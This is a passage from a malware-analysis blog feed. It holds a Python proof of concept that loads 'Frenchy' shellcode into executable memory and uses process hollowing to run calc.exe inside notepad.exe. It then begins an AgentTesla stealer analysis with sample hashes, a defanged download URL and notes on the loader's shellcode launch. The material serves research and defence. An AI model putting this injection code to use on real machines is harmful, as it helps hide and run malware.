https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuP1UK2F5_xAjKmTyXju0YS2_iEYU1BjUrZmuX-dOzL0aCn-XyTmIR4dJnDznepg6ldyPawLbAtpzj1XkYfCDTFdTGbQ7SWKKX0ahw6LxZ-SmVjr2yVAw3cjZExpd-WmYa7nvQnbXoAU4/s640/notepad_calc.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuP1UK2F5_xAjKmTyXju0YS2_iEYU1BjUrZmuX-dOzL0aCn-XyTmIR4dJnDznepg6ldyPawLbAtpzj1XkYfCDTFdTGbQ7SWKKX0ahw6LxZ-SmVjr2yVAw3cjZExpd-WmYa7nvQnbXoAU4/s640/notepad_calc.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br> <br> Here you can find the PoC together with the Frenchy shellcode v3:<br><br><a href="https://github.com/p3pperp0tts/PoC_FrenchyShellcode">https://github.com/p3pperp0tts/PoC_FrenchyShellcode</a><br><br><br></p><pre><code>       
</code></pre><pre><code>from ctypes import *
import struct

f = open("frenchyshellcode.bin", "rb")
frenchy = f.read()
f.close()
f = open("c:\\windows\\system32\\calc.exe", "rb")
calc = f.read()
f.close()
hollowpath = "c:\\windows\\notepad.exe\x00"
#to test, full shellcode = frenchy + arguments for frenchy + code to jmp
lenshellcode = len(frenchy) + len(calc) + len(hollowpath) + len("\x68\x00\x00\x00\x00\x68\x78\x56\x34\x12\x68\x78\x56\x34\x12\x68\x78\x56\x34\x12\xc3")
ptr = windll.kernel32.VirtualAlloc(None, lenshellcode, 0x3000, 0x40)
shellcode = frenchy
shellcode += calc
shellcode += hollowpath
shellcode += "\x68" + struct.pack("&lt;L", ptr + len(frenchy)) #push path to process to hollow
shellcode += "\x68" + struct.pack("&lt;L", ptr + len(frenchy)+len(calc)) #push address of pe to inject
shellcode += "\x68\x00\x00\x00\x00" #fake ret addr
shellcode += "\x68" + struct.pack("&lt;L", ptr) #push address of frenchy shellcode entry point
shellcode += "\xc3" #jmp to frenchy
hproc = windll.kernel32.OpenProcess(0x1F0FFF,False,windll.kernel32.GetCurrentProcessId())
windll.kernel32.WriteProcessMemory(hproc, ptr, shellcode, len(shellcode), byref(c_int(0)))
windll.kernel32.CreateThread(0,0,ptr+len(frenchy)+len(calc)+len(hollowpath),0,0,0)
windll.kernel32.WaitForSingleObject(c_int(-1), c_int(-1))</code></pre><pre><code></code></pre><p><br> <br> <br>  <strong>3. Who is Frenchy?</strong></p><p> There is <a href="https://hackforums.net/member.php?action=profile&amp;uid=3132187">an user at hackforums</a> that looks quite related to this issue.<br> <br> <br> </p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpzU16d66N4iMobrangcpMSsRs4dmhP-7lsK4AUfwkf2SeTaP_NIq3dwqnPlV1JPZJypx1wxmUXigcyM2GCboWklP-3DkVXKaUW-4SO2LdYtmkbKCQrA_S4xpND2M2Fj6-GHB0h5fzUU8/s1600/frenchy_hackforums_2.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpzU16d66N4iMobrangcpMSsRs4dmhP-7lsK4AUfwkf2SeTaP_NIq3dwqnPlV1JPZJypx1wxmUXigcyM2GCboWklP-3DkVXKaUW-4SO2LdYtmkbKCQrA_S4xpND2M2Fj6-GHB0h5fzUU8/s1600/frenchy_hackforums_2.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpzU16d66N4iMobrangcpMSsRs4dmhP-7lsK4AUfwkf2SeTaP_NIq3dwqnPlV1JPZJypx1wxmUXigcyM2GCboWklP-3DkVXKaUW-4SO2LdYtmkbKCQrA_S4xpND2M2Fj6-GHB0h5fzUU8/s1600/frenchy_hackforums_2.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpzU16d66N4iMobrangcpMSsRs4dmhP-7lsK4AUfwkf2SeTaP_NIq3dwqnPlV1JPZJypx1wxmUXigcyM2GCboWklP-3DkVXKaUW-4SO2LdYtmkbKCQrA_S4xpND2M2Fj6-GHB0h5fzUU8/s1600/frenchy_hackforums_2.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpzU16d66N4iMobrangcpMSsRs4dmhP-7lsK4AUfwkf2SeTaP_NIq3dwqnPlV1JPZJypx1wxmUXigcyM2GCboWklP-3DkVXKaUW-4SO2LdYtmkbKCQrA_S4xpND2M2Fj6-GHB0h5fzUU8/s1600/frenchy_hackforums_2.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpzU16d66N4iMobrangcpMSsRs4dmhP-7lsK4AUfwkf2SeTaP_NIq3dwqnPlV1JPZJypx1wxmUXigcyM2GCboWklP-3DkVXKaUW-4SO2LdYtmkbKCQrA_S4xpND2M2Fj6-GHB0h5fzUU8/s1600/frenchy_hackforums_2.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpzU16d66N4iMobrangcpMSsRs4dmhP-7lsK4AUfwkf2SeTaP_NIq3dwqnPlV1JPZJypx1wxmUXigcyM2GCboWklP-3DkVXKaUW-4SO2LdYtmkbKCQrA_S4xpND2M2Fj6-GHB0h5fzUU8/s1600/frenchy_hackforums_2.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpzU16d66N4iMobrangcpMSsRs4dmhP-7lsK4AUfwkf2SeTaP_NIq3dwqnPlV1JPZJypx1wxmUXigcyM2GCboWklP-3DkVXKaUW-4SO2LdYtmkbKCQrA_S4xpND2M2Fj6-GHB0h5fzUU8/s1600/frenchy_hackforums_2.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpzU16d66N4iMobrangcpMSsRs4dmhP-7lsK4AUfwkf2SeTaP_NIq3dwqnPlV1JPZJypx1wxmUXigcyM2GCboWklP-3DkVXKaUW-4SO2LdYtmkbKCQrA_S4xpND2M2Fj6-GHB0h5fzUU8/s1600/frenchy_hackforums_2.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpzU16d66N4iMobrangcpMSsRs4dmhP-7lsK4AUfwkf2SeTaP_NIq3dwqnPlV1JPZJypx1wxmUXigcyM2GCboWklP-3DkVXKaUW-4SO2LdYtmkbKCQrA_S4xpND2M2Fj6-GHB0h5fzUU8/s1600/frenchy_hackforums_2.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpzU16d66N4iMobrangcpMSsRs4dmhP-7lsK4AUfwkf2SeTaP_NIq3dwqnPlV1JPZJypx1wxmUXigcyM2GCboWklP-3DkVXKaUW-4SO2LdYtmkbKCQrA_S4xpND2M2Fj6-GHB0h5fzUU8/s1600/frenchy_hackforums_2.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyCubzhabGKZNDLd8nnAhLaVZF35wkLZQN6xS0nUtngf-Zqsj2PX6lBDVwaB9M2BGb4RHmATiuhLtbUAuJZ-PaUKpkz1MW0RbhJk9G-1eoJPKOvCY7NmkTeKTzCo0EvV61fXN8Oncm8o8/s1600/frenchy_hackforums_1.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyCubzhabGKZNDLd8nnAhLaVZF35wkLZQN6xS0nUtngf-Zqsj2PX6lBDVwaB9M2BGb4RHmATiuhLtbUAuJZ-PaUKpkz1MW0RbhJk9G-1eoJPKOvCY7NmkTeKTzCo0EvV61fXN8Oncm8o8/s1600/frenchy_hackforums_1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyCubzhabGKZNDLd8nnAhLaVZF35wkLZQN6xS0nUtngf-Zqsj2PX6lBDVwaB9M2BGb4RHmATiuhLtbUAuJZ-PaUKpkz1MW0RbhJk9G-1eoJPKOvCY7NmkTeKTzCo0EvV61fXN8Oncm8o8/s1600/frenchy_hackforums_1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyCubzhabGKZNDLd8nnAhLaVZF35wkLZQN6xS0nUtngf-Zqsj2PX6lBDVwaB9M2BGb4RHmATiuhLtbUAuJZ-PaUKpkz1MW0RbhJk9G-1eoJPKOvCY7NmkTeKTzCo0EvV61fXN8Oncm8o8/s1600/frenchy_hackforums_1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyCubzhabGKZNDLd8nnAhLaVZF35wkLZQN6xS0nUtngf-Zqsj2PX6lBDVwaB9M2BGb4RHmATiuhLtbUAuJZ-PaUKpkz1MW0RbhJk9G-1eoJPKOvCY7NmkTeKTzCo0EvV61fXN8Oncm8o8/s1600/frenchy_hackforums_1.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyCubzhabGKZNDLd8nnAhLaVZF35wkLZQN6xS0nUtngf-Zqsj2PX6lBDVwaB9M2BGb4RHmATiuhLtbUAuJZ-PaUKpkz1MW0RbhJk9G-1eoJPKOvCY7NmkTeKTzCo0EvV61fXN8Oncm8o8/s1600/frenchy_hackforums_1.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyCubzhabGKZNDLd8nnAhLaVZF35wkLZQN6xS0nUtngf-Zqsj2PX6lBDVwaB9M2BGb4RHmATiuhLtbUAuJZ-PaUKpkz1MW0RbhJk9G-1eoJPKOvCY7NmkTeKTzCo0EvV61fXN8Oncm8o8/s1600/frenchy_hackforums_1.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyCubzhabGKZNDLd8nnAhLaVZF35wkLZQN6xS0nUtngf-Zqsj2PX6lBDVwaB9M2BGb4RHmATiuhLtbUAuJZ-PaUKpkz1MW0RbhJk9G-1eoJPKOvCY7NmkTeKTzCo0EvV61fXN8Oncm8o8/s1600/frenchy_hackforums_1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyCubzhabGKZNDLd8nnAhLaVZF35wkLZQN6xS0nUtngf-Zqsj2PX6lBDVwaB9M2BGb4RHmATiuhLtbUAuJZ-PaUKpkz1MW0RbhJk9G-1eoJPKOvCY7NmkTeKTzCo0EvV61fXN8Oncm8o8/s1600/frenchy_hackforums_1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyCubzhabGKZNDLd8nnAhLaVZF35wkLZQN6xS0nUtngf-Zqsj2PX6lBDVwaB9M2BGb4RHmATiuhLtbUAuJZ-PaUKpkz1MW0RbhJk9G-1eoJPKOvCY7NmkTeKTzCo0EvV61fXN8Oncm8o8/s1600/frenchy_hackforums_1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyCubzhabGKZNDLd8nnAhLaVZF35wkLZQN6xS0nUtngf-Zqsj2PX6lBDVwaB9M2BGb4RHmATiuhLtbUAuJZ-PaUKpkz1MW0RbhJk9G-1eoJPKOvCY7NmkTeKTzCo0EvV61fXN8Oncm8o8/s1600/frenchy_hackforums_1.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimCYkiudMuCNvk7uHGvih435XjOwtYy-jJRkuog_hA0eb5-QamT5C3DTpkXTXl0z5YeNVcfacWz5wvLDEPzEtJYrYWaDAvOc_oUPnU9VmDUqAiGXN_OdiFCzKWVFWOUfWE0tLmzeIcYCE/s1600/frenchy_selling_shellcode.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimCYkiudMuCNvk7uHGvih435XjOwtYy-jJRkuog_hA0eb5-QamT5C3DTpkXTXl0z5YeNVcfacWz5wvLDEPzEtJYrYWaDAvOc_oUPnU9VmDUqAiGXN_OdiFCzKWVFWOUfWE0tLmzeIcYCE/s1600/frenchy_selling_shellcode.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimCYkiudMuCNvk7uHGvih435XjOwtYy-jJRkuog_hA0eb5-QamT5C3DTpkXTXl0z5YeNVcfacWz5wvLDEPzEtJYrYWaDAvOc_oUPnU9VmDUqAiGXN_OdiFCzKWVFWOUfWE0tLmzeIcYCE/s1600/frenchy_selling_shellcode.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimCYkiudMuCNvk7uHGvih435XjOwtYy-jJRkuog_hA0eb5-QamT5C3DTpkXTXl0z5YeNVcfacWz5wvLDEPzEtJYrYWaDAvOc_oUPnU9VmDUqAiGXN_OdiFCzKWVFWOUfWE0tLmzeIcYCE/s1600/frenchy_selling_shellcode.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimCYkiudMuCNvk7uHGvih435XjOwtYy-jJRkuog_hA0eb5-QamT5C3DTpkXTXl0z5YeNVcfacWz5wvLDEPzEtJYrYWaDAvOc_oUPnU9VmDUqAiGXN_OdiFCzKWVFWOUfWE0tLmzeIcYCE/s1600/frenchy_selling_shellcode.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimCYkiudMuCNvk7uHGvih435XjOwtYy-jJRkuog_hA0eb5-QamT5C3DTpkXTXl0z5YeNVcfacWz5wvLDEPzEtJYrYWaDAvOc_oUPnU9VmDUqAiGXN_OdiFCzKWVFWOUfWE0tLmzeIcYCE/s1600/frenchy_selling_shellcode.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimCYkiudMuCNvk7uHGvih435XjOwtYy-jJRkuog_hA0eb5-QamT5C3DTpkXTXl0z5YeNVcfacWz5wvLDEPzEtJYrYWaDAvOc_oUPnU9VmDUqAiGXN_OdiFCzKWVFWOUfWE0tLmzeIcYCE/s1600/frenchy_selling_shellcode.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimCYkiudMuCNvk7uHGvih435XjOwtYy-jJRkuog_hA0eb5-QamT5C3DTpkXTXl0z5YeNVcfacWz5wvLDEPzEtJYrYWaDAvOc_oUPnU9VmDUqAiGXN_OdiFCzKWVFWOUfWE0tLmzeIcYCE/s1600/frenchy_selling_shellcode.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimCYkiudMuCNvk7uHGvih435XjOwtYy-jJRkuog_hA0eb5-QamT5C3DTpkXTXl0z5YeNVcfacWz5wvLDEPzEtJYrYWaDAvOc_oUPnU9VmDUqAiGXN_OdiFCzKWVFWOUfWE0tLmzeIcYCE/s1600/frenchy_selling_shellcode.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimCYkiudMuCNvk7uHGvih435XjOwtYy-jJRkuog_hA0eb5-QamT5C3DTpkXTXl0z5YeNVcfacWz5wvLDEPzEtJYrYWaDAvOc_oUPnU9VmDUqAiGXN_OdiFCzKWVFWOUfWE0tLmzeIcYCE/s1600/frenchy_selling_shellcode.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimCYkiudMuCNvk7uHGvih435XjOwtYy-jJRkuog_hA0eb5-QamT5C3DTpkXTXl0z5YeNVcfacWz5wvLDEPzEtJYrYWaDAvOc_oUPnU9VmDUqAiGXN_OdiFCzKWVFWOUfWE0tLmzeIcYCE/s1600/frenchy_selling_shellcode.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a>]]></content:encoded></item><item><title><![CDATA[Quick Analysis of AgentTesla SMTP Variant Sample (dated 08-05-2019)]]></title><description><![CDATA[In this post I perform a quick analysis of a recent AgentTesla SMTP variant sample, paying special attention to the strings decryptor (most of the interesting information is kept as encrypted strings, smtp server and mail address included), in an attempt for documenting a bit more the decompiled source code with references to the decrypted strings where they are used, to understand how the malware works.]]></description><link>https://www.peppermalware.com/p/quick-analysis-of-agenttesla-smtp-variant-stealer</link><guid isPermaLink="false">https://www.peppermalware.com/p/quick-analysis-of-agenttesla-smtp-variant-stealer</guid><dc:creator><![CDATA[PepperMalware]]></dc:creator><pubDate>Mon, 13 May 2019 15:26:00 GMT</pubDate><enclosure url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiyswyMA4psrjgaFpKmJTp8jvHKt0blq4gR5Qjoy65zcK_6Km2BwXAwdrbuAer7pwAt222h4Mw6lTNMdxKF8s_bGaTTiJa5-PR6k9mdNmsnvaGeEpU-Gci5egi8G6femP8mZWx29Dkv9s/s1600/unpack_shellcode_secondpe.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this post I perform a quick analysis of a recent AgentTesla SMTP variant sample, paying special attention to the strings decryptor (most of the interesting information is kept as encrypted strings, smtp server and mail address included), in an attempt for documenting a bit more the decompiled source code with references to the decrypted strings where they are used, to understand how the malware works.<br><br></p><ul><li><p><strong>Original Packed Sample:</strong> <a href="https://www.virustotal.com/gui/file/5c741edbd2de663b174758bde17b7f4b7179d55473c9b6a9b67d21eb33766ebd/detection">ae4d420c05281acf9696e558b02a42f8</a></p></li><li><p><strong>Unpacked Sample:</strong>&nbsp;<a href="https://app.any.run/tasks/453464c9-ae8c-4826-b93c-c90bdacf49c0">f81064db46e305025ac6e2610e272eb3</a></p></li><li><p><strong>Source Url:</strong> hxxp://soksanhotels[.]com/calendar/daes/thai8.exe</p></li><li><p><strong>Info&nbsp;Url:</strong> <a href="https://urlhaus.abuse.ch/url/194157/">URLhaus</a></p></li><li><p><strong>Automatic Generated Report:</strong> <a href="http://sandbox.peppermalware.com/publicreport/?filter=ae4d420c05281acf9696e558b02a42f8&amp;action=showpdf">PepperMalware Report</a></p></li><li><p><strong>Virustotal First Submission:</strong> 2019-05-08 20:31:00</p></li><li><p><strong>Related links:</strong></p><ul><li><p><a href="https://twitter.com/avman1995/status/1072415443556679681">https://twitter.com/avman1995/status/1072415443556679681</a></p></li><li><p><a href="https://twitter.com/P3pperP0tts/status/1127239398398013441">https://twitter.com/P3pperP0tts/status/1127239398398013441</a></p></li><li><p><a href="https://www.antiy.net/p/be-aware-of-new-variant-of-agenttesla-commercial-keylogger/">https://www.antiy.net/p/be-aware-of-new-variant-of-agenttesla-commercial-keylogger/</a></p></li><li><p><a href="https://twitter.com/dvk01uk/status/1082151041720897537">https://twitter.com/dvk01uk/status/1082151041720897537</a></p></li></ul></li></ul><h2>Analysis</h2><ul><li><p>1. About the Sample Classification</p></li><li><p>2. Loader</p><ul><li><p>2.1. Shellcode and jump to unmanaged code</p></li><li><p>2.2. Hollow Process</p></li></ul></li><li><p>3. Unpacked module</p><ul><li><p>3.1. Strings Decryptor</p><ul><li><p>3.1.1. Strings Index Mixer</p></li><li><p>3.1.2.&nbsp;AES&nbsp;Strings Encryption</p></li><li><p>3.1.2. List of Decrypted Strings</p></li></ul></li><li><p>3.2. Decompiled Source Code With Decrypted Strings</p></li></ul></li><li><p>4. Yara rules</p></li></ul><h3>1. About the Sample Classification</h3><p><br> I have had lot of problems to classify this sample, not clear if Megalodon or Agenttesla SMTP variant.<br><br> At this <a href="https://twitter.com/P3pperP0tts/status/1127239398398013441">tweet</a> I tagged it as Agenttesla, and, in fact, when I started to write this article as agenttesla, then i changed to megalodon, and finally again to agenttesla.<br><br>I recomment these twitter threads, about this:<br><br></p><ul><li><p><a href="https://twitter.com/dvk01uk/status/1082151041720897537">https://twitter.com/dvk01uk/status/1082151041720897537</a></p></li><li><p><a href="https://twitter.com/P3pperP0tts/status/1127239398398013441">https://twitter.com/P3pperP0tts/status/1127239398398013441</a></p></li><li><p><a href="https://twitter.com/avman1995/status/1072415443556679681">https://twitter.com/avman1995/status/1072415443556679681</a></p></li></ul><p> After reading <a href="https://www.antiy.net/p/be-aware-of-new-variant-of-agenttesla-commercial-keylogger/">this antiy labs analysis</a>, I noticed the decrypted strings of the sample that I analyzed matched the strings of the sample analyzed by antiy labs.</p><p> It seems the sample that I analyzed is a newer version of the antiy labs article' one, with encryption of strings and a kind of mixer for the index into the table of encrypted strings.</p><h3>2. Loader</h3><h4>2.1. Shellcode and jump to unmanaged code</h4><p>The loader is not hardly obfuscated. The malware seems to decode a shellcode and a second unpacked PE from a image at resources:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiyswyMA4psrjgaFpKmJTp8jvHKt0blq4gR5Qjoy65zcK_6Km2BwXAwdrbuAer7pwAt222h4Mw6lTNMdxKF8s_bGaTTiJa5-PR6k9mdNmsnvaGeEpU-Gci5egi8G6femP8mZWx29Dkv9s/s1600/unpack_shellcode_secondpe.jpg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiyswyMA4psrjgaFpKmJTp8jvHKt0blq4gR5Qjoy65zcK_6Km2BwXAwdrbuAer7pwAt222h4Mw6lTNMdxKF8s_bGaTTiJa5-PR6k9mdNmsnvaGeEpU-Gci5egi8G6femP8mZWx29Dkv9s/s1600/unpack_shellcode_secondpe.jpg 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiyswyMA4psrjgaFpKmJTp8jvHKt0blq4gR5Qjoy65zcK_6Km2BwXAwdrbuAer7pwAt222h4Mw6lTNMdxKF8s_bGaTTiJa5-PR6k9mdNmsnvaGeEpU-Gci5egi8G6femP8mZWx29Dkv9s/s1600/unpack_shellcode_secondpe.jpg 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiyswyMA4psrjgaFpKmJTp8jvHKt0blq4gR5Qjoy65zcK_6Km2BwXAwdrbuAer7pwAt222h4Mw6lTNMdxKF8s_bGaTTiJa5-PR6k9mdNmsnvaGeEpU-Gci5egi8G6femP8mZWx29Dkv9s/s1600/unpack_shellcode_secondpe.jpg 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiyswyMA4psrjgaFpKmJTp8jvHKt0blq4gR5Qjoy65zcK_6Km2BwXAwdrbuAer7pwAt222h4Mw6lTNMdxKF8s_bGaTTiJa5-PR6k9mdNmsnvaGeEpU-Gci5egi8G6femP8mZWx29Dkv9s/s1600/unpack_shellcode_secondpe.jpg 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiyswyMA4psrjgaFpKmJTp8jvHKt0blq4gR5Qjoy65zcK_6Km2BwXAwdrbuAer7pwAt222h4Mw6lTNMdxKF8s_bGaTTiJa5-PR6k9mdNmsnvaGeEpU-Gci5egi8G6femP8mZWx29Dkv9s/s1600/unpack_shellcode_secondpe.jpg" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiyswyMA4psrjgaFpKmJTp8jvHKt0blq4gR5Qjoy65zcK_6Km2BwXAwdrbuAer7pwAt222h4Mw6lTNMdxKF8s_bGaTTiJa5-PR6k9mdNmsnvaGeEpU-Gci5egi8G6femP8mZWx29Dkv9s/s1600/unpack_shellcode_secondpe.jpg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiyswyMA4psrjgaFpKmJTp8jvHKt0blq4gR5Qjoy65zcK_6Km2BwXAwdrbuAer7pwAt222h4Mw6lTNMdxKF8s_bGaTTiJa5-PR6k9mdNmsnvaGeEpU-Gci5egi8G6femP8mZWx29Dkv9s/s1600/unpack_shellcode_secondpe.jpg 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiyswyMA4psrjgaFpKmJTp8jvHKt0blq4gR5Qjoy65zcK_6Km2BwXAwdrbuAer7pwAt222h4Mw6lTNMdxKF8s_bGaTTiJa5-PR6k9mdNmsnvaGeEpU-Gci5egi8G6femP8mZWx29Dkv9s/s1600/unpack_shellcode_secondpe.jpg 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiyswyMA4psrjgaFpKmJTp8jvHKt0blq4gR5Qjoy65zcK_6Km2BwXAwdrbuAer7pwAt222h4Mw6lTNMdxKF8s_bGaTTiJa5-PR6k9mdNmsnvaGeEpU-Gci5egi8G6femP8mZWx29Dkv9s/s1600/unpack_shellcode_secondpe.jpg 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiyswyMA4psrjgaFpKmJTp8jvHKt0blq4gR5Qjoy65zcK_6Km2BwXAwdrbuAer7pwAt222h4Mw6lTNMdxKF8s_bGaTTiJa5-PR6k9mdNmsnvaGeEpU-Gci5egi8G6femP8mZWx29Dkv9s/s1600/unpack_shellcode_secondpe.jpg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>Once the shellcode + pe is decrypted, it allocates memory (VirtualAlloc) and copies the shellcode there. To jump the unmanaged code (the shellcode) it creates a window and associates the shellcode address to that window (the window's procedure), and then it calls CallWindowProc:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb602Pa_RdgcQzuv0ncMIJfU7_Fd5bZ2THMNolNhW2l0W6ogD4xRxk4CqcoonOe-fgP8UipP5siZNSHKHD547EEAMaNkB45b-C0n_G_KZz2Ip47NJ7BcZgjCm60lHjJwg9xD4d46VkI8s/s200/callwindowproc.jpg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb602Pa_RdgcQzuv0ncMIJfU7_Fd5bZ2THMNolNhW2l0W6ogD4xRxk4CqcoonOe-fgP8UipP5siZNSHKHD547EEAMaNkB45b-C0n_G_KZz2Ip47NJ7BcZgjCm60lHjJwg9xD4d46VkI8s/s200/callwindowproc.jpg 424w, 